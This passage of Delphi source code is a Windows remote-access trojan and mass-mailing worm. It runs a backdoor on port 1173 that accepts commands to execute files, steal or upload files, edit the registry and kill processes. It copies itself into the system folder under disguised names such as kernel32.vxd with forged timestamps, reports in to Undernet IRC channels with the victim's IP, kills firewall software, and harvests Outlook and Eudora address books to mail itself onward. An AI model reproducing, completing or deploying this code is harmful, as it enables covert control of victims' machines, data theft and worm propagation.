<'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; Driv:=crypt('}F9')+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; //|D: end; DRIVE_CDROM: begin Tip:='1'; //CD-ROM Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_RAMDISK: begin Tip:='2'; //RAM Disk Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_REMOVABLE: begin Tip:='3'; //Removable Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; DRIVE_REMOTE: begin Tip:='4'; //Network Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; 0 : s:=''; //do nothing; 1 : s:=''; //do nothing; end; sleep(timeout); sock.WriteString(wParam, PChar(Driv)); driv:=''; inc(ch); until d=26; sleep(timeout); sock.WriteString(wParam, PChar(crypt(']^kphj[T')+#13+#10)); //\\html\\ end; procedure DoShowLog(wParam:longInt); var f:file of byte; p:longint; begin Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); if fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(f,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(f); p:=filesize(f); sock.writestring(wParam,pchar(crypt('mmd>%')+Registre.ReadString('1')+' '+s+' '+inttostr(p)+#13+#10)); //log: closefile(f); end; Registre.Free; end; procedure DoExecFile(wParam:longInt;Command:String); var R:Integer; Params:String; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; R:=ShellExecute(0,nil,PChar(Command),PChar(Params),nil,SW_NORMAL); if R<=32 then sock.WriteString(wParam, PChar(ERROR+#13+#10)) else sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoProxy(wParam:longInt;Command:String); begin // end; procedure DoDeleteFile(wParam:longInt;Command:String); var St:String; Found:Integer; F:TSearchRec; begin Found:=FindFirst(Command,faAnyFile, F); St:=''; while Found = 0 do begin if DeleteFile(ExtractFilePath(Command)+F.Name) then St:=St+F.Name; Found:=FindNext(F); end; sock.WriteString(wParam, PChar(crypt('Dpbw`b''n`fn7')+St+#13+#10)); //Erased files: end; procedure DoSendFile(wParam:longInt;Command:String); var {f:file of byte;} f:HFile; st:string; NumRead:Integer; p:array[1..1024] of char; OfStr:TOFStruct; FF:TSearchRec; begin f:=OpenFile(PChar(Command),OFStr,OF_READ); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; FindFirst(Command,faAnyFile, FF); St:=IntToStr(FF.Size); sock.WriteString(wParam, PChar(crypt('mmb`cok2')+st+'|'+#13+#10)); //loadfil: sleep(timeout); repeat ReadFile(f,P,SizeOf(P),NumRead,nil); Sleep(timeout); if sock.WriteData(wParam,@P,numread)=0 then begin _lclose(f); exit; end; until (NumRead = 0); _lclose(f); end; procedure DoReceiveFile(wParam:longInt;Command:String); begin //done; end; procedure DoRenameFile(wParam:longInt;Command:String); var Params:String; f:file; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; assignfile(f,command); if params<>'' then Rename(f,params) else exit; sock.writeString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoCreateDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; MkDir(command); sock.WriteString(wParam, PChar(crypt('Bpfeqc''l`x1')+St+#13+#10)); //Create dir: end; procedure DoDeleteDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; RmDir(command); sock.WriteString(wParam, PChar(crypt('Dpbw`&ca{0')+St+#13+#10)); //Erase dir: end; procedure DoWriteReg(wParam:longInt;Command:String); var Params,Params1,Params2,Params3:String; begin params:=''; params1:=''; params2:=''; params3:=''; if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params2:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params3:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); Registre.WriteString(params2,pchar(params3)); Registre.Free; sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoReadReg(wParam:longInt;Command:String); var params,params1,params2:string; begin if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params2:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); sock.WriteString(wParam, PChar('Data: '+Registre.ReadString(params2)+#13+#10)); Registre.Free; end; procedure DoKillProcess(wParam:longInt;Command:String); begin Killprocess(command); sock.WriteString(wParam, PChar(crypt('Jkohlh`2)')+command+#13+#10)); //Killing: end; procedure DoWindowsProcess(wParam:longInt); var pp:string; begin assignfile(t,windowsdir+'~tmp..dat'); rewrite(t); append(t); EnumWindows(@AddTopLevelWindowsToList,8); closefile(t); assignfile(t,windowsdir+'~tmp..dat'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(timeout); until pp=''; closefile(t); erase(t); end; procedure DoTimeout(wParam:longInt;Command:String); begin timeout:=strtoint(command); sock.WriteString(wParam, PChar('Timeout: '+command+#13+#10)); end; procedure TSock.OnServerRead(wParam,lParam:longInt); var Command:String; f:HFile; check:string; NumWrite:Integer; OfStr:TOFStruct; t1,t2,yy,taille:longint; Buffy:array[1..1024] of char; begin CountRB:=recv(wParam,Buffy,SizeOf(Buffy),0); if CountRB = 0 then exit; Command:=Copy(Buffy,Pos('/',Buffy)+1,Pos('HTTP',Buffy)-Pos('/',Buffy)-2); if command='' then exit; case command[1] of '0' : DoAbout(wParam); '1' : DoShowDirectory(wParam,copy(command,pos('?',command)+1,255)); '2' : DoStart(wParam); '3' : DoShowLog(wParam); '4' : DoExecFile(wParam,copy(command,pos('?',command)+1,255)); '5' : DoSendFile(wParam,copy(command,pos('?',command)+1,255)); '6' : DoDeleteFile(wParam,copy(command,pos('?',command)+1,255)); '7' : begin command:=copy(command,pos('?',command)+1,255); check:=copy(command,pos('|',command)+1,pos('&',command)-1); taille:=strtoint(check); delete(command,pos('|',command),length(command)); sock.WriteString(wParam, PChar('sendfil:'+#13+#10)); f:=OpenFile(PChar(Command),OFStr,OF_CREATE); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; yy:=0; t1:=round((taille+512)/1024); t2:=t1*1024; //nombre packet t1:=t2-taille; //end packet //t1:=taille-t2; repeat CountRB:=recv(wParam,Buffy,sizeof(Buffy),0); if countRB<>65535 then begin //writeln(taille); if taille<=1024 then begin WriteFile(f,Buffy,taille,NumWrite,nil); _lclose(f); exit; end; yy:=yy+countRB; //bug if yy=t2 then begin t1:=1024-abs(t1); //writeln(t1); WriteFile(f,Buffy,t1,NumWrite,nil); _lclose(f); exit; end else WriteFile(f,Buffy,countRB,NumWrite,nil); end; fillchar(buffy,sizeof(buffy),#0); until (yy>=taille) or (NumWrite = 0); _lclose(f); exit; //DoReceiveFile(wParam,copy(command,pos('?',command)+1,255)); end; '8' : DoRenameFile(wParam,copy(command,pos('?',command)+1,255)); '9' : DoCreateDirectory(wParam,copy(command,pos('?',command)+1,255)); 'A' : DoDeleteDirectory(wParam,copy(command,pos('?',command)+1,255)); 'B' : DoWriteReg(wParam,copy(command,pos('?',command)+1,255)); 'C' : DoReadReg(wParam,copy(command,pos('?',command)+1,255)); 'D' : DoProxy(wParam,copy(command,pos('?',command)+1,255)); 'E' : DoKillProcess(wParam,copy(command,pos('?',command)+1,255)); 'F' : DoWindowsProcess(wParam); 'G' : DoPassword(wParam); 'H' : DoTimeout(wParam,copy(command,pos('?',command)+1,255)); end; // closesocket(wParam); processmessages; end; //=== Process OnSocketMessage === procedure OnSocketMessage(Msg,wParam,lParam:longInt); begin if ( LOWORD(lParam) and FD_ACCEPT = FD_ACCEPT) then Sock.OnServerAccept(wParam,lParam); if ( LOWORD(lParam) and FD_CLOSE = FD_CLOSE) then sock.OnServerClose(wParam,lParam); if ( LOWORD(lParam) and FD_READ = FD_READ) then sock.OnServerRead(wParam,lParam); end; //== Processes every message sent to MAIN window === function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall; begin Result:= 0; case Msg of WM_CREATE : OnCreate(hWnd); WM_CLOSE : OnClose(hWnd); WM_MY_SOCK_MESSAGE : OnSocketMessage(Msg,wParam,lParam); WM_DESTROY : ShutDownServer; end; Result:=DefWindowProc(hWnd,Msg,wParam,lParam); end; //=== OnInitSocket === //==TCP procedure InitSocket; begin WSAStartup($101,WSD); Port:=1173; Server := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= AF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); // listen; listen(Server,5); end; //==UDP {procedure InitSocket2; begin si:=SizeOf(integer); WSAStartup($101,WSD); Port:=136; Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= PF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); setsockopt(Server,SOL_SOCKET,SO_BROADCAST,@i,si); bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); listen(Server,5); end;} //=====copyit function GetFileDateTimeModified(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var dt,tm: word; DateTime: integer; begin result := false; DateTime := FileAge(FileName); if DateTime = -1 then exit else result := true; tm := DateTime and $FFFF; {lower word} dt := DateTime shr 16; {upper word} h := tm shr 11; m := (tm shr 5) and $3F; s := (tm and $1F) * 2; dd := dt and $1F; mm := (dt shr 5) and $F; yyyy := (dt shr 9)+1980; end; function SetFileDateTime(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var SrchHdl: THandle; FileHdl: HFile; FindData: TWin32FindData; wDate,wTime: word; LocalFileTime, NewFileTime: TFileTime; begin result := false; SrchHdl := FindFirstFile(PChar(FileName), FindData); if SrchHdl <> INVALID_HANDLE_VALUE then begin Windows.FindClose(SrchHdl); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin wTime := (h shl 11) + (m shl 5) + (m div 2); wDate := (dd) + (mm shl 5)+ ((yyyy-1980) shl 9); DosDateTimeToFileTime(wDate,wTime,LocalFileTime); LocalFileTimeToFileTime(LocalFileTime, NewFileTime); FileHdl := _lopen(PChar(FileName), OF_WRITE); if FileHdl <> HFILE_ERROR then begin if SetFileTime(FileHdl,@NewFileTime,@NewFileTime,@NewFileTime) then result := true; _lclose(FileHdl); end; end; end; end; procedure copyit; var FromF, ToF: file; NumRead, NumWritten: Integer; Buf: array[1..2048] of Char; begin s:=paramstr(0); if (s<>systemdir+crypt(']IFVKCK;;$]TI')) and (s<>systemdir+crypt(']IFVKCK&MFG')) then begin //\KERNEL32.VXD \KERNEL.DLL filemode:=0; if fileexists(systemdir+crypt(']ifvkck;;$}ti')) then exit; //\kernel32.vxd if fileexists(systemdir+crypt(']ifvkck&mfg')) then exit; //\kernel.dll Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey(crypt('Eg\Hdhfj{kx'),true); //De_Lanabras Registre.WriteString(crypt('333<=6'),pchar(crypt('um#`lc''g{*ecy.{1vzq'))); //210880 //to die or not to die Registre.Free; AssignFile(FromF,paramstr(0)); Reset(FromF, 1); { Record size = 1 } AssignFile(ToF, systemdir+crypt(']ifvkck;;$}ti')); { ouvre le fichier de sortie }//\kernel32.vxd Rewrite(ToF, 1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); CloseFile(FromF); CloseFile(ToF); GetFileDateTimeModified(windowsdir+'\explorer.exe',yyyy,mm,dd,h,m,ss); SetFileDateTime(systemdir+crypt(']ifvkck;;$}ti'),yyyy,mm,dd,h,m,ss); //\kernel32.vxd AssignFile(FromF,paramstr(0)); Reset(FromF, 1); { Record size = 1 } AssignFile(ToF, systemdir+crypt(']ifvkck&mfg')); { ouvre le fichier de sortie }//\kernel.dll Rewrite(ToF, 1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); CloseFile(FromF); CloseFile(ToF); SetFileDateTime(systemdir+crypt(']ifvkck&mfg'),yyyy,mm,dd,h,m,ss); //\kernel.dll end; end; //===========Online??? const INVALID_IP_ADDRESS= $ffffffff; function ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; function lookup_hostname(const hostname:string):longint; var RemoteHost : PHostEnt; (* no, don't free it! *) ip_address: integer; s: string; begin ip_address:=INVALID_IP_ADDRESS; try if hostname='' then begin (* no host given! *) lookup_hostname:=ip_address; EXIT; end else begin s:=hostname+#0; ip_address:=Inet_Addr(PChar(@s[1])); // ip_address:=Winsock.Inet_Addr(PChar(hostname)); if ip_address=$FFFFFFFF then begin RemoteHost:=GetHostByName(PChar(@s[1])); // RemoteHost:=Winsock.GetHostByName(PChar(hostname)); if (RemoteHost=NIL) or (RemoteHost^.h_length<=0) then begin lookup_hostname:=ip_address; EXIT; (* host not found *) end else ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); end; end; except ip_address:=INVALID_IP_ADDRESS; end; lookup_hostname:=ip_address; end; //====== Connection Irc === type THede = class(TObject) procedure MyHwndProc(var Msg:TMessage); procedure agprun; procedure server; function ip2string(ip_address:longint):string; end; const SocketMessag = WM_USER+107; var MySocket: TSocket; MyName : TSockAddr; MyAddr : TInAddr; Hede: THede; Buffer:array[0..1023] of char; res : word; WST : TWSAData; host: string; b:byte; function my_ip_address:longint; const bufsize=255; var buf: pointer; RemoteHost : PHostEnt; (* No, don't free it! *) begin buf:=NIL; try getmem(buf,bufsize); gethostname(buf,bufsize); (* this one maybe without domain *) RemoteHost:=GetHostByName(buf); if RemoteHost=NIL then my_ip_address:=htonl($7F000001) (* 127.0.0.1 *) else my_ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); finally if buf<>NIL then freemem(buf,bufsize); end; end; function THede.ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; procedure Thede.server; var srvlist: array[0..14] of string; x:byte; systemTime:TSystemTime; z:longint; begin sleep(10000); b:=0; randomize; j := 0; result:=''; nukemsg:=''; repeat j:=j+1; x := 64 + random(58); case x of 0 .. 64 : result := 'a'; 65 .. 90 : result := chr(x); 91 .. 96 : result := 'e'; 97 .. 122 : result := chr(x); 123..255 : result := 'd'; end; nukemsg:=nukemsg+result; until j=9; j := 0; result:=''; nukemsg2:=''; repeat j:=j+1; x := 96 + random(26); case x of // 0 .. 64 : result := 'a'; // 65 .. 90 : result := 'u'; 91 .. 96 : result := 'e'; 97 .. 122 : result := chr(x); 123..255 : result := 'd'; end; nukemsg2:=nukemsg2+result; until j=10; with systemtime do begin wYear:= wYear; wMonth:=wMonth; wDayOfWeek:= wDayOfWeek; wDay:=wDay; wHour:= wHour; wMinute:= wMinute; wSecond:= wSecond; wMilliseconds:= wMilliseconds; end; getsystemtime(SystemTime); j:=systemtime.wMonth; //srvlist[0]:='127.0.0.1'; srvlist[1]:=crypt('dw-qkbbzgo"b|h'); //eu.undernet.org srvlist[2]:=crypt('bc-qkbbzgo"b|h'); //ca.undernet.org srvlist[3]:=crypt('tq-qkbbzgo"b|h'); //us.undernet.org srvlist[4]:=crypt('umqkkrh&fd%ol z~uwazpb9wk}'); //toronto.on.ca.undernet.org srvlist[5]:=crypt('sgdakue}{m%hh je?g}ppdy}m4tnz'); //regensburg.de.eu.undernet.org srvlist[6]:=crypt('dqskj(aa''o~"x`kuc|v`;ye'); //espoo.fi.eu.undernet.org srvlist[7]:=crypt('bjjgdah&`f%y~ Z~uwazpb9wk}'); //chicago.il.us.Undernet.org srvlist[8]:=crypt('vcpllh`|fd%hn zc?g}ppdy}m4tnz'); //washington.dc.us.undernet.org srvlist[9]:=crypt('`opp`tcid$e`#kz>d|wqgxrl7ui{'); //amsterdam.nl.eu.undernet.org srvlist[10]:=crypt('rvokpot&de%y~ z~uwazpb9wk}'); //stlouis.mo.us.undernet.org srvlist[11]:=crypt('qkwpvdrznb%|l zc?g}ppdy}m4tnz'); //pittsburgh.pa.us.undernet.org srvlist[12]:=crypt('`w`oigil''dq"x`kuc|v`;ye'); //auckland.nz.undernet.org srvlist[13]:=crypt('qjlako&hp%y~ z~uwazpb9wk}'); //phoenix.az.us.undernet.org srvlist[14]:=crypt('ecohdu)|q$~#{att`}qa8xj~'); //dallas.tx.us.undernet.org x:=random(14)+1; // x:=0; host:=srvlist[x]; z:=lookup_hostname(host); host:=ip2string(z); //writeln(host); WSAStartup($101,WST); hede.agprun; end; procedure THede.MyHwndProc(var msg:TMessage); var check,s:string; begin FillChar(buffer,sizeof(buffer),#0); if msg.Msg = SocketMessag then begin if msg.LParamLo = FD_CLOSE then begin //writeln('end'); closesocket(mysocket); WSACleanup; hede.server; exit; end; //if msg.LParamLo = FD_WRITE then writeln('[Socket Write]'); if msg.LParamLo = FD_READ then begin res:=Recv(MySocket,Buffer,sizeof(Buffer),0); if res=-1 then begin // S:='Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket); WSACleanup; hede.server; exit; end; //if Buffer[1]<>'' then S:='[connected]'; //writeln(s); //writeln('[Socket Read] '+ inttostr(res) +'/300 : '+Buffer); end; if res<0 then begin //writeln('*** Cant Read !!! >:-['); closesocket(mysocket); WSACleanup; hede.server; exit; end; end; check:=copy(buffer,1,6); if check=crypt('QKMC%<') then //PING : begin sleep(100); check:=copy(buffer,7,20); sock.WriteString(MySocket,pchar(crypt('QMMC%<')+check+#13+#10)); //PONG : if b=0 then begin sleep(500); //writeln('USER '+nukemsg+' '+ip2string(my_ip_address)+' '+nukemsg2+'.org :'+copy(nukemsg2,1,5)+#13+#10); //sock.WriteString(MySocket,pchar('USER thepeaceto "death.com" "'+ip2string(my_ip_address)+'" :dukkk'+#13+#10)); sock.WriteString(MySocket,pchar(crypt('TQFV%')+copy(nukemsg2,1,7)+' "'+nukemsg2+'.com" "'+ip2string(my_ip_address)+'" :'+copy(nukemsg2,1,5)+#13+#10)); //USER sleep(500); sock.WriteString(MySocket,pchar(crypt('LMGA%')+nukemsg+' +i'+#13+#10)); //MODE sleep(500); sock.WriteString(MySocket,pchar(crypt('KMJJ%')+crypt('"]e[gYn')+inttostr(j)+' '+crypt('dosawiuW')+#13+#10)); //JOIN //#_f_b_i //emperor_ sleep(500); sock.WriteString(MySocket,pchar(crypt('LMGA%')+crypt('"]e[gYn')+inttostr(j)+' +sk '+crypt('dosawiuW')+#13+#10));//MODE sleep(500); Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); sock.WriteString(MySocket,pchar(crypt('QPJRHU@(')+crypt('"]e[gYn')+inttostr(j)+' '+crypt(';jfhii')+Registre.ReadString('1')+#13+#10)); //PRIVMSG //:hello Registre.Free; b:=1; end; end; end; procedure THede.agpRun; var s:string; myhwnd: Thandle; begin MySocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); MyAddr.S_addr:=Inet_Addr(@Host[1]); MyName.sin_family:=PF_INET; MyName.sin_port:=htons(6667); //port to connect MyName.sin_addr:=MyAddr; // MyName.sin_port:=ntohs(strtoint(edit4.text)); //port on receive res:=connect(MySocket,MyName,sizeof(MyName)); if res<>0 then begin // S:='Connect Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket); WSACleanup; hede.server; exit; end; myhwnd := AllocateHwnd(hede.MyHWndProc); WSAAsyncSelect(MySocket, myhwnd, SocketMessag, FD_READ OR FD_WRITE OR FD_CLOSE ); res:=Recv(MySocket,Buffer,sizeof(buffer),0); //sock.WriteString(MySocket,pchar('PASS 666'+#13+#10)); sleep(500); sock.WriteString(MySocket,pchar(crypt('OK@O%')+nukemsg+#13+#10)); //NICK while not ExitCode<>ExitCode2 do processmessages; end; //===fuck_protection procedure scanprotection; begin if findwindow(nil,@(crypt('OgwEuv@}hxo'))[1])<>0 then //NetAppGuard begin killprocess(crypt('OgwEuv@}hxo')); //NetAppGuard end; if findwindow(nil,@(crypt('BmmW`gk(YI+JD\JGP^_'))[1])<>0 then //ConSeal PC FIREWALL begin killprocess(crypt('BmmW`gk(YI+JD\JGP^_')); appmsg(pchar(crypt('HR#ekb''ijidycz/~pv4yyp|~;ss>lIFLBHDGD eABJWP^wZXd]XVzTLZ7 ./d3#5; %%b'))); end; exit; end; //====== Spammer =========== type TSpam = class(TObject) procedure base64(var hFile: File; var sLine: string; var More: boolean); procedure start; procedure send; procedure scanmail; procedure scanmail2; procedure fileini; procedure MyHwndProc(var msg:TMessage); end; type TLookup = array [0..64] of Char; const SocketMessage = WM_USER+108; const Base64Out: TLookup = ( 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/', '=' ); var WSM : TWSAData; myhwnd2:THandle; MySocket2: TSocket; MyName2 : TSockAddr; MyAddr2 : TInAddr; res2 : word; buffer2,host2: string; procedure TSpam.MyHwndProc(var msg:TMessage); begin //FillChar(buffer,sizeof(buffer),#0); if msg.Msg = SocketMessage then begin if msg.LParamLo = FD_CLOSE then begin closesocket(mysocket2); end; // if msg.LParamLo = FD_WRITE then writeln('[Socket Write]'); if msg.LParamLo = FD_READ then begin res2:=Recv(MySocket2,Buffer2,sizeof(Buffer2),0); if res2=-1 then begin // S:='Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket2); WSACleanup; end; //writeln(buffer2); end; end; end; procedure TSpam.Base64(var hFile: File; var sLine: string; var More: boolean); var Count : integer; DataIn : array [0..2] of byte; DataOut : array [0..80] of byte; ByteCount : integer; i : integer; // hfile:file; // sline:string; begin Count := 0; {$I-} while not Eof(hFile) do begin {$I+} BlockRead(hFile, DataIn, 3, ByteCount); DataOut[Count] := (DataIn[0] and $FC) shr 2; DataOut[Count + 1] := (DataIn[0] and $03) shl 4; if ByteCount > 1 then begin DataOut[Count + 1] := DataOut[Count + 1] + (DataIn[1] and $F0) shr 4; DataOut[Count + 2] := (DataIn[1] and $0F) shl 2; if ByteCount > 2 then begin DataOut[Count + 2] := DataOut[Count + 2] + (DataIn[2] and $C0) shr 6; DataOut[Count + 3] := (DataIn[2] and $3F); end else begin DataOut[Count + 3] := $40; end; end else begin DataOut[Count + 2] := $40; DataOut[Count + 3] := $40; end; for i := 0 to 3 do DataOut[Count + i] := Byte(Base64Out[DataOut[Count + i]]); Count := Count + 4; if Count > 59 then break; end; DataOut[Count] := $0; sLine := StrPas(@DataOut[0]); {$I-} More := not Eof(hFile); {$I+} end; procedure TSpam.start; var i:TRegistry; ss:string; begin //writeln('START'); if fileexists(systemdir+'\outlook.ini') then begin send; exit; end; Filemode:=2; assignfile(ttt,systemdir+'\outlook.ini'); rewrite(ttt); append(ttt); //memo1.clear; writeln(ttt,'[OUTL]'); i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.OpenKey('Software\Microsoft\WAB\WAB4\Wab File Name',true); //memo1.lines.add(i.ReadString('')); outlook:=i.ReadString(''); i.Free; i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.openkey('Software\Microsoft\Internet Account Manager',true); ss:=i.ReadString('Default Mail Account'); //memo1.lines.add('Mail account: '+s); i.Free; i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.openkey('Software\Microsoft\Internet Account Manager\Accounts\'+ss,true); if i.ReadString('SMTP Server')='' then writeln(ttt,'[SERV]'+'mail.'+crypt('bmntpubzo')+'.com') else //compuserve writeln(ttt,'[SERV]'+i.ReadString('SMTP Server')); i.Free; i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.openkey('Software\Microsoft\Internet Account Manager\Accounts\'+ss,true); if i.ReadString('SMTP Port')='' then writeln(ttt,'[PORT]'+'25') else writeln(ttt,'[PORT]'+i.ReadString('SMTP Port')); i.Free; ScanMail; writeln(ttt,'[EUDO]'); i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.OpenKey('Software\Qualcomm\Eudora\CommandLine',true); ss:=i.ReadString('Current'); delete(ss,pos('.',ss)-6,length(ss)); eudora:=ss; i.Free; fileini; ScanMail2; closefile(ttt); send; end; procedure TSpam.send; var day,month,i:integer; s:string; ff:file of char; c:char; zday,zmonth,slav,user,serv,zport:string; sock:TSock; SystemTime:TSystemTime; w:longint; hfile:file; sline:string; more:boolean; FMimeBoundary,filename:string; begin if not fileexists(systemdir+'\outlook.ini') then exit; sleep(1200000); // 20 min Filemode:=2; assignfile(ff,systemdir+'\outlook.ini'); reset(ff); i:=0; s:=''; WSAStartup($101,WSM); repeat i:=filepos(ff); blockread(ff,c,sizeof(c)); s:=s+c; if c=#10 then begin if copy(s,1,6)='[KILL]' then begin closefile(ff); exit; end; if copy(s,1,6)='[SERV]' then serv:=copy(s,7,pos(#13,s)-7); if copy(s,1,6)='[PORT]' then zport:=copy(s,7,pos(#13,s)-7); if copy(s,1,6)='[EUDO]' then zport:='25'; if copy(s,1,6)='[USER]' then begin user:=copy(s,7,pos(#13,s)-7); end; if copy(s,1,6)='[SLAV]' then begin seek(ff,i-length(s)+1); blockwrite(ff,'[FUCK]',sizeof('[FUCK]')); slav:=copy(s,7,pos(#13,s)-7); //memo1.lines.add(serv+' : '+port+' : '+user+' : '+slav); writeln(serv+' : '+zport+' : '+user+' : '+slav); sleep(20000); w:=lookup_hostname(serv); host2:=ip2string(w); //host2:='127.0.0.1'; MySocket2:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); MyAddr2.S_addr:=Inet_Addr(@Host2[1]); MyName2.sin_family:=PF_INET; MyName2.sin_port:=htons(strtoint(zport)); //port to connect MyName2.sin_addr:=MyAddr2; // MyName.sin_port:=ntohs(strtoint(edit4.text)); //port on receive res2:=connect(MySocket2,MyName2,sizeof(MyName2)); if res2<>0 then begin // S:='Suck Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket2); WSACleanup; exit; end; myhwnd2 := AllocateHwnd(MyHWndProc); WSAAsyncSelect(MySocket2, myhwnd2, SocketMessage, FD_READ OR FD_WRITE OR FD_CLOSE ); FileName:=paramstr(0); //FileName:='c:\temp\hmm.sep'; with systemtime do begin wYear:= wYear; wMonth:=wMonth; wDayOfWeek:= wDayOfWeek; wDay:=wDay; wHour:= wHour; wMinute:= wMinute; wSecond:= wSecond; wMilliseconds:= wMilliseconds; end; getsystemtime(SystemTime); FMimeBoundary := '=Multipart Boundary '+ //FormatDateTime('mmddyyhhnn', Now); 